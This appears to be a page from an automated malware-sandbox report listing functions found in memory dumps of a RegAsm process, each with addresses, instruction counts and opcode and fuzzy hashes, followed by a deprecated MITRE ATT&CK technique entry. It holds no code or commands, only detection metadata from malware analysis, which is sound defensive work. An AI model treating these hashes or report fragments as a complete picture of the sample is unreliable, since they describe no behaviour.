Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 772ff1ddd128dfc6014cbd5c3be9a11d6af04901c0da075c306e41e5864e878b
Instruction ID: ee0004078f6fa0fb4fa65833c15d876e7341c06f5d1cbcc3cb31b5078250e507
Opcode Fuzzy Hash: 772ff1ddd128dfc6014cbd5c3be9a11d6af04901c0da075c306e41e5864e878b
Instruction Fuzzy Hash: 9051CF34A00244DFE714DB66D949B69BBF2BF88318F104159F501AB3A1DB71AC81CB91

Function 06865FD9 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5ed4e2306b40f5b8b38295897a7684609ebaeb1c0f1405ae33faafaf7d4fbb6
Instruction ID: ee9c21489e03b2aa6e956132232c5cb9b9b9c8f6c849c54fe87a6884c5c14ddf
Opcode Fuzzy Hash: c5ed4e2306b40f5b8b38295897a7684609ebaeb1c0f1405ae33faafaf7d4fbb6
Instruction Fuzzy Hash: 1441D338604589CFC78A6B1B861442DBB37FF813097288459E106DB256DB369D53CBC3

Function 06865FF0 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc677e0b80f10f1348572f90f498a1ee84708668225f0a8387b920a7ae98b81a
Instruction ID: 6e0e65563e4d759c664feafb93d214856ed3200a1253a62e54e0edcd55366894
Opcode Fuzzy Hash: dc677e0b80f10f1348572f90f498a1ee84708668225f0a8387b920a7ae98b81a
Instruction Fuzzy Hash: 5341D138700549CFC7896B1BC61892DBB77FB847097288458E106DB355EB369D52CBC7

Function 06865C28 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34562b9e1eb17c7d1830b9532232ff9ba3c66d2bc55f1f192732f5a7cd564813
Instruction ID: 5ece249b3690d263fe563ef4321f0b42ba1879e877d69539d56f890211e708ef
Opcode Fuzzy Hash: 34562b9e1eb17c7d1830b9532232ff9ba3c66d2bc55f1f192732f5a7cd564813
Instruction Fuzzy Hash: EC411271D01209DFDB54DFAAD944ADEBBF5FF88300F14802AE509AB290DB70A945CF91

Function 068661B0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61994c05a08dc241353ce7f67303753f9be67bc0b8016b8a1e904905e2608b18
Instruction ID: 521dbc617fe7784217bc1f643579823ac5a44a09d6be6afe33cc51e52d4531ca
Opcode Fuzzy Hash: 61994c05a08dc241353ce7f67303753f9be67bc0b8016b8a1e904905e2608b18
Instruction Fuzzy Hash: D2418074A00245CFCB44DFA9C994A6EBBB2FF44305F1184A5E851AB3A2D730EC41CB91

Function 06865C1C Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a22fa17b2105ce2c093f4f9c598b1c1b4cd027604b2d6ca41fb06e28b65ed49
Instruction ID: ac19ab10ef97c3b38db44dd2661fcb138a88501ae7ac8f9ffbd88e88a5dac871
Opcode Fuzzy Hash: 0a22fa17b2105ce2c093f4f9c598b1c1b4cd027604b2d6ca41fb06e28b65ed49
Instruction Fuzzy Hash: BC411071D01249DFDB54CFAAC994BDEBBF6EF48304F20802AE509AB290DB705949CF51

Function 06867335 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 449a218162916eb8b3749a5fa87e03e420342765fca7a15808a4c57cad15c6e4
Instruction ID: 24bd8434252d475530a7b0d811e3d30485a421ed5a9a710fceae27097557be5e
Opcode Fuzzy Hash: 449a218162916eb8b3749a5fa87e03e420342765fca7a15808a4c57cad15c6e4
Instruction Fuzzy Hash: 2A31C570B00109CFE7549B6AD959BBEBBF6AF88714F24405AF502E73A1CEB44C42CB91

Function 06866ECE Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 394139589ee0c88dd735d6dfafdd85f25a7f241307e19b1e9a9ac6f4df3a048a
Instruction ID: 42fcea8ddb85c6429288d12e2560cdd7c1a32c3eba8975b7a98cf3b20f7ba48c
Opcode Fuzzy Hash: 394139589ee0c88dd735d6dfafdd85f25a7f241307e19b1e9a9ac6f4df3a048a
Instruction Fuzzy Hash: F121C030B002418BDF59AB35A9505BE77A7EBC9708714852AEE06C7388EFB59D06C7D1

Function 00C8D2CC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4571597746.0000000000C8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c8d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ca98a14be856ffa2c19ef31f8eab41b3a4e0a71228afc82fff8767ed3509d75
Instruction ID: 314b7aa620ddd0b129ab3380a8ae351baf6655574b20d25fd26ee626051d6d74
Opcode Fuzzy Hash: 5ca98a14be856ffa2c19ef31f8eab41b3a4e0a71228afc82fff8767ed3509d75
Instruction Fuzzy Hash: 19216BB5104344EFCB00EF10D5C0B2ABB71FB84328F24C56DD80A0B292C375D806CB62

Function 00C8D47C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4571597746.0000000000C8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c8d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2f08b9e6c75f68a8d88f850131e760baa853c1554ca1bb1a8b169578b05032a
Instruction ID: 82cb286912bf1693d8776cfb644728ec02af8beaec55aa9537dd723fdc8e60d1
Opcode Fuzzy Hash: b2f08b9e6c75f68a8d88f850131e760baa853c1554ca1bb1a8b169578b05032a
Instruction Fuzzy Hash: DD2146B5504204EFDB04EF14D9C0B26BB61FB8432CF24C5AEE90B4B296C776D846CB66

Function 00C8D0FC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4571597746.0000000000C8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c8d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ae6b802e35e7a3ac5256a2ba51ce3e359e8eaabf04ecbc90fe4a566e3f4e62c
Instruction ID: 19bf13666303207cf7ecec51c39424b948f78c720f1c6e469870ec4276bfc8b4
Opcode Fuzzy Hash: 9ae6b802e35e7a3ac5256a2ba51ce3e359e8eaabf04ecbc90fe4a566e3f4e62c
Instruction Fuzzy Hash: B9213475504204EFDB04EF10D9C8B2ABBA1FF84328F20C56DD80A4B292C77AD846CB61

Function 06865EF8 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 009130d3693f367991bcf8dc0aa13dafbe34414832bfdb0351dab2f87f15a9da
Instruction ID: 6ae705c0a883ddd0e546cbf6e74754ac808d0a1eab96b07499a85d596122f38e
Opcode Fuzzy Hash: 009130d3693f367991bcf8dc0aa13dafbe34414832bfdb0351dab2f87f15a9da
Instruction Fuzzy Hash: 1C2158307101548FDB44DB69C959BAE7BF6AF88710F2440AAF506EB3A1CBB58C01CB92

Function 068661A0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e77fc3c9f1ca43684e8a285b2d10847ee3445b633227bd726b682e55f4efc0d
Instruction ID: 48b5a3498797a094ef843c1370df4a18338dfe1c4e9ab86b6caf4673244c509f
Opcode Fuzzy Hash: 3e77fc3c9f1ca43684e8a285b2d10847ee3445b633227bd726b682e55f4efc0d
Instruction Fuzzy Hash: A7219D70A001559FCB44DFA9D880AAEFB72FF84314B558595E455AB752D330FC82CBE2

Function 06865B50 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78918db23eb1ebbae3d0eda867aceaa7701f42eec7207805c650c41dafcbd85b
Instruction ID: 6f94357d9b3c5f3a90d8619a740d501246a86f312df2004417ca5641d6bf15de
Opcode Fuzzy Hash: 78918db23eb1ebbae3d0eda867aceaa7701f42eec7207805c650c41dafcbd85b
Instruction Fuzzy Hash: 2A1127327052499FC749EB788C5096F7FA7EFC220430184AAD609CF251DE348E06D3D2

Function 06865F08 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4b965f45dedaf0bd877617ce535e8fc6d032f77b9ba184d416ddccfa7e00598
Instruction ID: 26077cbab20bfe4aa83d0a6b1f54118a3fad5d8f8734ebc10ffc3e48a9fe781a
Opcode Fuzzy Hash: f4b965f45dedaf0bd877617ce535e8fc6d032f77b9ba184d416ddccfa7e00598
Instruction Fuzzy Hash: 73218C30B102148FDB44DB69C918BAE77F6AF88714F20415AF206EB3A5CFB58C01CB92

Function 068666D8 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09123cf1ecb3c973690f15ec4d6c38fe360f9cae880cba4fd4130f08a6971406
Instruction ID: 2ec2ca2bbc4932b2b2e3e5b6ef5570afb7269e0ebd2a3ed07401831e1c31fdc7
Opcode Fuzzy Hash: 09123cf1ecb3c973690f15ec4d6c38fe360f9cae880cba4fd4130f08a6971406
Instruction Fuzzy Hash: F8115130B401449FDB549F69C899BBEBBF6EF88714F24405AF906EB3A1CA719C41CB91

Function 06867348 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 745bc0ebe38462453185bb72d83c36e65a758c743e2b0504eb28fb85c315dd6c
Instruction ID: 3f66368a080dbc4a2ceafadc5be75bba4724259ebd02ac324e02147614a137db
Opcode Fuzzy Hash: 745bc0ebe38462453185bb72d83c36e65a758c743e2b0504eb28fb85c315dd6c
Instruction Fuzzy Hash: F511B630B001088FD7149B6EC458BBEBAFBAFC8710F25801AE505EB3A5CEB49C02C791

Function 06864810 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 426c242ce4ea3b667596cc47a82480182fc22a93f2fc5d054781d755ac97888b
Instruction ID: 88c90aabae9006467fc7c128c15708b6d485a40e351166cae84d6962482b08a8
Opcode Fuzzy Hash: 426c242ce4ea3b667596cc47a82480182fc22a93f2fc5d054781d755ac97888b
Instruction Fuzzy Hash: E1115E31B401548BDB14EE6FD850A6E7B9AAFD4751714813AF705CB274DE70DC42C7A0

Function 06866A39 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 268e132a2c256cf5768c4949bf8b3f2fde1d1ca1d240e34bab85ca29da07c2cc
Instruction ID: d9d33d6849da9a4b0e4db82123430d5a6aa0356ece8cece3690eedbc0b04937a
Opcode Fuzzy Hash: 268e132a2c256cf5768c4949bf8b3f2fde1d1ca1d240e34bab85ca29da07c2cc
Instruction Fuzzy Hash: B311E6703012869FDB05FB34E814A9E7FA2DFC1244B14875DD1009F646DF79990787D2

Function 06867287 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61c0e1de78b190e263a761d68e5b15d6d27e7c5c26efb91405372f38a21db6f8
Instruction ID: b763e5a3c5043840663ee21bf3d2c4000aa755e5d76b4edefc1334b937daae68
Opcode Fuzzy Hash: 61c0e1de78b190e263a761d68e5b15d6d27e7c5c26efb91405372f38a21db6f8
Instruction Fuzzy Hash: 9511CE30B001059FDB148B29C959BAEBBF6EF88704F250069F602EB3A1CB758C06CB91

Function 068634F0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62d02479a1acb378990d7e14878501409dafe782b8631ab68a471b185c312cca
Instruction ID: c564ec4590bf51606bafb26581e524ed60063202ee7e933ae4d67959b04a6ba3
Opcode Fuzzy Hash: 62d02479a1acb378990d7e14878501409dafe782b8631ab68a471b185c312cca
Instruction Fuzzy Hash: B211E5763001149FCB089F59E998C5A7B6AEF8D721B148156FA098B375CB32DD11DBA0

Function 00C8D2C7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4571597746.0000000000C8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c8d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a259ab168aa60f420945387331d15577d1f21daed3aa4e0fa343fa88035ff1f1
Instruction ID: e1ccb935a4f326cc32f4d1cf8bd804889ae3ecaf5061f1c0cfe49b36948701b2
Opcode Fuzzy Hash: a259ab168aa60f420945387331d15577d1f21daed3aa4e0fa343fa88035ff1f1
Instruction Fuzzy Hash: 79110476504680DFCB01DF10D5C4B19FF71FB84328F24C6A9D8494B652C33AD906CB52

Function 00C8D0F7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4571597746.0000000000C8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c8d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3adcda68119555c6f25b62d92a5950083e81dc615a2459920abefbb8922beed6
Instruction ID: 66c79067f345f3142ed7c4e698392fc730b00769827c9da6c3cbe9a2b961de27
Opcode Fuzzy Hash: 3adcda68119555c6f25b62d92a5950083e81dc615a2459920abefbb8922beed6
Instruction Fuzzy Hash: 9611D075504284DFDB05DF10D9C4B19BB61FF44328F24C6A9D80A4B696C33AD94ACB51

Function 00C8D477 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4571597746.0000000000C8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c8d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3adcda68119555c6f25b62d92a5950083e81dc615a2459920abefbb8922beed6
Instruction ID: 65f742010d24b819bebd3ac9c7bd26ecf436c36a0215052b2e1632fadcf9a992
Opcode Fuzzy Hash: 3adcda68119555c6f25b62d92a5950083e81dc615a2459920abefbb8922beed6
Instruction Fuzzy Hash: F611DDB5504284CFCB05DF10D5C0B15BBB1FB84318F28C6AED80A4B696C33AD94ACF62

Function 0686698E Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41d47c6a76e33a06f8e28c24a167b085140c63a3790c8f7678d3a69e98c35533
Instruction ID: 5db06306a155f7d4b5e5de7172468e41316bd51b5f145918943c1cae9fdfb4f4
Opcode Fuzzy Hash: 41d47c6a76e33a06f8e28c24a167b085140c63a3790c8f7678d3a69e98c35533
Instruction Fuzzy Hash: 74110475A44281DFE750CB12D859B5DBFF0EF40729F14009EEA05CB6A2E7789840CF81

Function 06862EC8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ffb40a48648b9a3e8fd1337c7618ae885ed48be601f2a77ba8fe9cb85082d9d
Instruction ID: 0c4dc85b28e9227f79973a7926d8ce003ad8881dbceb159f887cfcb319e30d6b
Opcode Fuzzy Hash: 7ffb40a48648b9a3e8fd1337c7618ae885ed48be601f2a77ba8fe9cb85082d9d
Instruction Fuzzy Hash: 7901A735B011086F8B50DA69AC508AFBBEA9FC9260714826AF909D7305D9709E0143F1

Function 06866A48 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5190134309d95eb5edd7ce3b95c7111d1169fb876b916e9e6f9f180101e6795
Instruction ID: e76c5d501dbc9924dba3e98fa59da1a9baecda9e8d90d34b6198a3b3ee4b5f67
Opcode Fuzzy Hash: e5190134309d95eb5edd7ce3b95c7111d1169fb876b916e9e6f9f180101e6795
Instruction Fuzzy Hash: 6111A5703002869BDB45FB34E85465E7BA2EFC1344B14871DD1048F746DFB9A9078BD2

Function 06864799 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fc60e1f3aa4bd6df7a7889561635d0b6b762c69fc737fa140012a86941cf6aa
Instruction ID: f72ab5db39b01642860e0c45ab6dcd766285c21d2455f13ba874116b6d8ccf4e
Opcode Fuzzy Hash: 2fc60e1f3aa4bd6df7a7889561635d0b6b762c69fc737fa140012a86941cf6aa
Instruction Fuzzy Hash: 7B014B76305118AF8B01DA59EC84CAFBFBEEF892617154156F509CB251CA329D018BA0

Function 06864801 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8c9d45e968c8743ec920687cbda566b955550736a84a29122a15ccfbfd84187
Instruction ID: 67f5099871565b2c5b673fcb7bd5abf14a7e105e453d83d028ab0e352869c2dd
Opcode Fuzzy Hash: d8c9d45e968c8743ec920687cbda566b955550736a84a29122a15ccfbfd84187
Instruction Fuzzy Hash: 5901D131B002555BE725AE3A9860B6F3BAA9FC6690B24816AF704DB275CF64CC0187E0

Function 06864CA0 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 410cbc439fb69e5466804d7775ddac096775e852cecfc6853b9dda385dff5a92
Instruction ID: 95ebc7d5f77807ad70a4653d418a3700c1dc85ac9fa8b0efab98bebd77b84ea6
Opcode Fuzzy Hash: 410cbc439fb69e5466804d7775ddac096775e852cecfc6853b9dda385dff5a92
Instruction Fuzzy Hash: A9F08B312002606FD31282069C40CBBBBBEFFC0312B14811BFA85C7542C6359C06D3B0

Function 06862DF7 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe20360604401f7989a4cc9bf5ac60fbebfd5a23644f406e5fa4e409d20d1244
Instruction ID: 8fc458936404caae8648f19016e4f2c62da5b28c5c5fb7ba1247b8a4cbfc77f7
Opcode Fuzzy Hash: fe20360604401f7989a4cc9bf5ac60fbebfd5a23644f406e5fa4e409d20d1244
Instruction Fuzzy Hash: 22019630900309CFCB54CFA5D841AAEBBF1EF08314B10846DC959AB252D731AA42CF90

Function 068647A8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34492febcd9d0578ad202fae72aede6cb40ef08937d7af3110823274ee859fff
Instruction ID: 24864ee608cda054fae677aa0a374de1b97ef40a0931b4fb7cee150b79673544
Opcode Fuzzy Hash: 34492febcd9d0578ad202fae72aede6cb40ef08937d7af3110823274ee859fff
Instruction Fuzzy Hash: BFF0F976700118AF8B44DF59D884C9EBBAEFF8C261710812AF509C7310CA3199019BA0

Function 06865B40 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c978e3e5b35ea895706eb847a88ab232b0a5e593a0e92fbcacecaaff4e64c305
Instruction ID: f3f400ee8e999d4788320de5cbe5db4edfbe74c4ba9fd0605e02d99ec3774997
Opcode Fuzzy Hash: c978e3e5b35ea895706eb847a88ab232b0a5e593a0e92fbcacecaaff4e64c305
Instruction Fuzzy Hash: 34E022766022049FC286936C5C908AF7FAA8E812113069197EA09CF242CE70CD0583E2

Function 06864CB0 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fc87fd7fe897c7b937004d4f8abfe6e87ac9bbba0fb1b04ba8c1976470b519b
Instruction ID: 5ffb1a60e025f0d720ea0f7551e4354cbf62261da54cdf9327849f73bc283cc1
Opcode Fuzzy Hash: 3fc87fd7fe897c7b937004d4f8abfe6e87ac9bbba0fb1b04ba8c1976470b519b
Instruction Fuzzy Hash: 7DF0EC715006246FD320564ADC44DB7BBFEFFC4321B10C52DF68643A01CA75A845E7B0

Function 06862E08 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be98a2ed3fe6c7bc92b358b40019adae1a8e7c48c4546c9e034b055687d16d28
Instruction ID: 4cf424db51712c352b808eb29cc55caa21069c771c15a9779f5d69af1f573d6f
Opcode Fuzzy Hash: be98a2ed3fe6c7bc92b358b40019adae1a8e7c48c4546c9e034b055687d16d28
Instruction Fuzzy Hash: C8F03730D0020ACFCB44DFAAD9416AEBBF1FF48314F20846DD519A7211D735AA42CF80

Function 068645D8 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84194f9d108490757bb658256694b7329b1699a7ead28b0033ea8e0e4853eada
Instruction ID: b9049c1b9c283fa5da97498472598b6e1fb81ec42845c7f48dfb74d9fecf0c20
Opcode Fuzzy Hash: 84194f9d108490757bb658256694b7329b1699a7ead28b0033ea8e0e4853eada
Instruction Fuzzy Hash: DCE0D82130A2D42B8755257E3C9096BBF9EDFC656075500BBF148CB242CD114D0683F6

Function 068645E8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a995a819c0f57dbbe7cadd585e4e49cee5d0c11647f4e189ca11d35ab59200c5
Instruction ID: 92f1cd072a6f42e05924688be128d01b147c5db4927427b1ef82edd873eafca9
Opcode Fuzzy Hash: a995a819c0f57dbbe7cadd585e4e49cee5d0c11647f4e189ca11d35ab59200c5
Instruction Fuzzy Hash: B8D05E72705164134698659F789056FA6DEEFC99A1790403DE20DC7340CD619C0643F9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

